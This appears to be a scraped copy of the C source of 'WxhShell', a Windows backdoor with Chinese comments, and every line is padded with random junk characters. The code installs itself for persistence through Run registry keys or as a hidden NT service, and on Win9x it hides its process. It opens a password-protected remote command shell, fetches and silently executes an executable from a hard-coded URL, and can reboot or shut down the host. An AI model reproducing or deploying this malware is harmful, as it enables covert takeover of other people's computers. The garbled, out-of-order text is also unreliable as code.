DWORD BasePriority; g^#,!e
ULONG UniqueProcessId; X-CoC
ULONG InheritedFromUniqueProcessId; |NTqJ j
} PROCESS_BASIC_INFORMATION; 8"[{[<-
LF{8hC[
PROCNTQSIP NtQueryInformationProcess; m}beT~FT_
^mut-@ N9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XKOPW/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,CB E&g
J{5p4bkb
HANDLE hProcess; XQOM6$~,
PROCESS_BASIC_INFORMATION pbi; A^|~>9
+sq_fd ;'D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =<TJ[,h
et
if(NULL == hInst ) return 0; VTX6_&Hc1g
bq8h?Q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QM~~b=P,\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ssH[\i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z63y8
ra@CouR^c{
if (!NtQueryInformationProcess) return 0; B oiS
`0+-:sXZ6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )g^O'e=m
if(!hProcess) return 0; pUu<0a^
jnM}N:v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w)R5@
@C*
s._,IW;
CloseHandle(hProcess); g">^#^hBE
{=,I>w]T|W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YPKB4p#
if(hProcess==NULL) return 0; <1QXZfQ"
]{t!J^Xn
HMODULE hMod; HRCnjem/v\
char procName[255]; z$ {[Z=
unsigned long cbNeeded; wIWO?w2
Vkf{dHjW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \zDs3Hp
5Z:qU{[
CloseHandle(hProcess); 0xeY0!ux
d*U<Ww^q
if(strstr(procName,"services")) return 1; // 以服务启动 Ue>{n{H"y
#D ]CuSi
return 0; // 注册表启动 CHCT
e
} [;~"ctf{
nuA
0%K
// 主模块 F]0
qt$GO
int StartWxhshell(LPSTR lpCmdLine) o?IrDQ2gmh
{ Czy}~;_Ay
SOCKET wsl; wL>;_KdU`
BOOL val=TRUE; <qI!Dj{
int port=0; b9v<Jk
struct sockaddr_in door; ##alzC
v}IhO~`uEq
if(wscfg.ws_autoins) Install(); Otf{)f
vbG&F.P
port=atoi(lpCmdLine); 43O5|8o
i;juwc^n}
if(port<=0) port=wscfg.ws_port; EiZa,}A
"-rqL
WSADATA data; H_aG\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .2ZFJ.Z"
cHOC>|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *=T(ncR['
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nn U`u.$D
door.sin_family = AF_INET; vWa\8y f
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h 'Hnq m
door.sin_port = htons(port); Ua=r24fy
xZ>j Q_}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9}4~3_gv;M
closesocket(wsl); jmP;(j.|
return 1; N\rL ~4/
} MGre_=Dm_
G68@(<<Z
if(listen(wsl,2) == INVALID_SOCKET) { ;=6EBP%
closesocket(wsl); q)AX*T+
return 1; 0y+i?y
9
} 2n-kJl`: O
Wxhshell(wsl); h[<l2fy
WSACleanup(); GY^;$ ?
{.y_{yWo
return 0; Ji6.-[:
Zp9kxm'
} >6)|>#Wi
lJT"aXt'M
// 以NT服务方式启动 7;&,LH
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sn'
+~6i
{ L1y71+iqU
DWORD status = 0; E\p"%
DWORD specificError = 0xfffffff; =+q\Jh
j5]ul!ji
serviceStatus.dwServiceType = SERVICE_WIN32; Y4_xV&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /?Mr2!3N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mq'm
TM
serviceStatus.dwWin32ExitCode = 0; ,*?[Rg0]+
serviceStatus.dwServiceSpecificExitCode = 0; ooC9a>X
serviceStatus.dwCheckPoint = 0; l(@c
serviceStatus.dwWaitHint = 0; :-$8u;!M
|>.</68Z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o/n4M]G
if (hServiceStatusHandle==0) return; W,_2JqQp
@X560_x[q
status = GetLastError(); f$vTD ak
if (status!=NO_ERROR) k1s5cg=n(
{ >Q?8tGfB
serviceStatus.dwCurrentState = SERVICE_STOPPED; :M<] 6o
serviceStatus.dwCheckPoint = 0; [9#zEURS
serviceStatus.dwWaitHint = 0; ZE~zs~z|
serviceStatus.dwWin32ExitCode = status; GQQp(%T
serviceStatus.dwServiceSpecificExitCode = specificError; ErQ6a%~,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =q`T|9v
return; Gzg3{fXl
} !ab ef.%:
)}t't"
serviceStatus.dwCurrentState = SERVICE_RUNNING; (Nv-wU
serviceStatus.dwCheckPoint = 0; )?c,&
serviceStatus.dwWaitHint = 0;
X>P|-n#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^5(d^N
} 5O
Y5b8
y~VI,82*
// 处理NT服务事件,比如:启动、停止 $em'H,*b3
VOID WINAPI NTServiceHandler(DWORD fdwControl) )S/=5Uc
{ V
w58w`e
switch(fdwControl) bMNr +N
{ }&==;7,O
case SERVICE_CONTROL_STOP: \j3dB
tc
serviceStatus.dwWin32ExitCode = 0; ?,8+1"|$A]
serviceStatus.dwCurrentState = SERVICE_STOPPED; XrWWV2[
serviceStatus.dwCheckPoint = 0;
5C^@w
serviceStatus.dwWaitHint = 0; I3d}DpPx%
{ JY^i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dg{d^>T!_x
} N^@:+,<3
return; 5Dz$_2oM3
case SERVICE_CONTROL_PAUSE: 9cU9'r# h
serviceStatus.dwCurrentState = SERVICE_PAUSED; x{tlC}t
break; dM P'Vnfj
case SERVICE_CONTROL_CONTINUE: As`=K$^Il.
serviceStatus.dwCurrentState = SERVICE_RUNNING; CH;U_b
break; ^w2 HF
case SERVICE_CONTROL_INTERROGATE: n;Q8Gg2U
break; cC NRv$IO\
}; ;gD\JA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SW'eTG
} P".IW.^kk~
4v3gpLH
// 标准应用程序主函数 ;ko6igx)+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )5gj0#|CG@
{ 7')W+`o8eL
,]W|"NUI
// 获取操作系统版本 G -+!h4p
OsIsNt=GetOsVer(); slUi)@b
GetModuleFileName(NULL,ExeFile,MAX_PATH); pRL:,q\
( }Bb=~
// 从命令行安装 GQ>0E
if(strpbrk(lpCmdLine,"iI")) Install(); ~1[n@{*: (
w>=N~0@t
// 下载执行文件 c;fLM`{*
if(wscfg.ws_downexe) { 7v)p\#-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kc't
WinExec(wscfg.ws_filenam,SW_HIDE); \IImxkE
} oOU_
Nay
Hq 3V+$
if(!OsIsNt) { OE9,D:tv
// 如果时win9x,隐藏进程并且设置为注册表启动 }2Euz.0
HideProc(); \=bKuP(it
StartWxhshell(lpCmdLine); lw.[qP
} ;l
ZKgi8`
else LdN[N^n[H
if(StartFromService()) k0K$OX*:e
// 以服务方式启动 p'1/J:EnV
StartServiceCtrlDispatcher(DispatchTable); M*kE |q/K
else 0doJF@H
// 普通方式启动 IDFzyg_
StartWxhshell(lpCmdLine); EG\;l9T
6w,"i#E!
return 0; $D#h, `
} Ve&_NVPrd
k%i.B
a%`%("g!
}$'_%,
=========================================== E5M/XW\E6
!]82$
|D"L!+J-$
)H{1Xjh-
^MF 2Q+
L\:m)g,F.
" Ez5t)l-
iaeNY;T
#include <stdio.h> fs&$?mHL){
#include <string.h> '5De1K.\`
#include <windows.h> Q47R`"
#include <winsock2.h> J
3C^tV
#include <winsvc.h> jqc}mI\#
#include <urlmon.h> _lwKa,}
a*U[;(
#pragma comment (lib, "Ws2_32.lib") jTIG#J)
#pragma comment (lib, "urlmon.lib") ~$5XiY8A
*qy \%A
#define MAX_USER 100 // 最大客户端连接数 i\ X3t5
#define BUF_SOCK 200 // sock buffer +KIz#uqF8Z
#define KEY_BUFF 255 // 输入 buffer X~0-W Bz
_#:7S
sJ
#define REBOOT 0 // 重启 OB$Jv<C@
#define SHUTDOWN 1 // 关机 pTwzVz~
Pd"c*n&9
#define DEF_PORT 5000 // 监听端口 a'?;;ZC-
a(]&H
"
#define REG_LEN 16 // 注册表键长度 qpYgTn8l7
#define SVC_LEN 80 // NT服务名长度 vf{$2rC
sA|SOAn
// 从dll定义API T :d+Qz\
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xw
43P.
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R P<M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,#3Aaw
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EHm*~Sd
h]ae^M
// wxhshell配置信息 L,y
q=%h|
struct WSCFG { `y.4FA4"8
int ws_port; // 监听端口 *u"%hXR
char ws_passstr[REG_LEN]; // 口令 8:V,>PH
int ws_autoins; // 安装标记, 1=yes 0=no _uMG?Sbx
char ws_regname[REG_LEN]; // 注册表键名 N'WTIM3W
char ws_svcname[REG_LEN]; // 服务名 klT?h[I!
char ws_svcdisp[SVC_LEN]; // 服务显示名 `D~oY=
char ws_svcdesc[SVC_LEN]; // 服务描述信息 l_Lz9k
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y$v #>w_M
int ws_downexe; // 下载执行标记, 1=yes 0=no jeRE(3'Q
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y^!qeY
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SefhOh^,V
K}re{y
}; |kPgXq6
-(:T&rfTp
// default Wxhshell configuration z@~H{glo
struct WSCFG wscfg={DEF_PORT, _.; PLq~0
"xuhuanlingzhe", `+n#CWZ"Y
1, Yu_*P-Ja6
"Wxhshell", J4::.r
"Wxhshell", y,x 2f%x
"WxhShell Service", MLHCBRi
"Wrsky Windows CmdShell Service", Sc>mw
"Please Input Your Password: ", K
$- *
1, IeYNTk&<
"http://www.wrsky.com/wxhshell.exe", e&VC}%m
"Wxhshell.exe" l%"DeRp,/
}; hHJvLs>^
k4LrUd
// 消息定义模块 Rh^@1{yr
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n!/0yR2S
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~iH a^i?2*
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :a;F3NJ
char *msg_ws_ext="\n\rExit."; @e3+Gs
char *msg_ws_end="\n\rQuit."; {L7Pha
char *msg_ws_boot="\n\rReboot..."; >
UZ-['H
char *msg_ws_poff="\n\rShutdown..."; k}fC58q
char *msg_ws_down="\n\rSave to "; Tty'ysH
g:Qq%'
char *msg_ws_err="\n\rErr!"; )
~=pt&+
char *msg_ws_ok="\n\rOK!"; B1 }-
/'jX_
V_$|
char ExeFile[MAX_PATH]; + m-88
int nUser = 0; #ay/VlD@
HANDLE handles[MAX_USER]; NgyEy n
\
int OsIsNt; U?Jk
Gkuqe3
SERVICE_STATUS serviceStatus; e7;7TrB.
SERVICE_STATUS_HANDLE hServiceStatusHandle; :KO&j"[
I#(lxlp"Ho
// 函数声明 LP#wE~K"b
int Install(void); aH1CX<3)~
int Uninstall(void); h6D4CT
int DownloadFile(char *sURL, SOCKET wsh); )mm0PJF~q
int Boot(int flag); _{k*JT2
void HideProc(void); >B0AJW/u
int GetOsVer(void); P".}Y[GD
int Wxhshell(SOCKET wsl); vK)'3%
void TalkWithClient(void *cs); Zo&i0%S\E
int CmdShell(SOCKET sock); vlkwWm
int StartFromService(void); $8eiifj
int StartWxhshell(LPSTR lpCmdLine); ,@f"WrQ
\HLo%]A@M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !lNyoX/
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p"%D/-%Gu
qBBCnT
// 数据结构和表定义 g8MW6Y
SERVICE_TABLE_ENTRY DispatchTable[] = <7U~0@<Y
{ HfSx*@\s
{wscfg.ws_svcname, NTServiceMain}, b=lJ`|
{NULL, NULL} +S4>}2N33
}; tI{]&dev
Uyb0iQ-,s
// 自我安装 d|RUxNjM-J
int Install(void) SDC|>e9i
{ 9$HKP9G
char svExeFile[MAX_PATH]; h<%$?h+}
HKEY key; 4u}Cki,vOK
strcpy(svExeFile,ExeFile); =_-u;w1D
p}!i_P
// 如果是win9x系统,修改注册表设为自启动 }X{rE|@
if(!OsIsNt) { s;TB(M~i[
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (%L/|F_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pL{oVk#,
RegCloseKey(key); gaz7u8$A=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pCIS82L
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0R)x"4Ww
RegCloseKey(key); p($vM^_<"
return 0; %9>w|%+;U+
} $t%IJT
} jyIIE7.I"
} {`SMxDevc}
else { :
b`N(]
&q<k0_5Q
// 如果是NT以上系统,安装为系统服务 M99ku'
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6m?<"y8]
if (schSCManager!=0) XF(D%ygeC
{ iG54 +]
SC_HANDLE schService = CreateService *MmH{!=
( 5oG~ Fc
schSCManager, nUj`#%
wscfg.ws_svcname, o+.L@3RT4
wscfg.ws_svcdisp, [+D]!&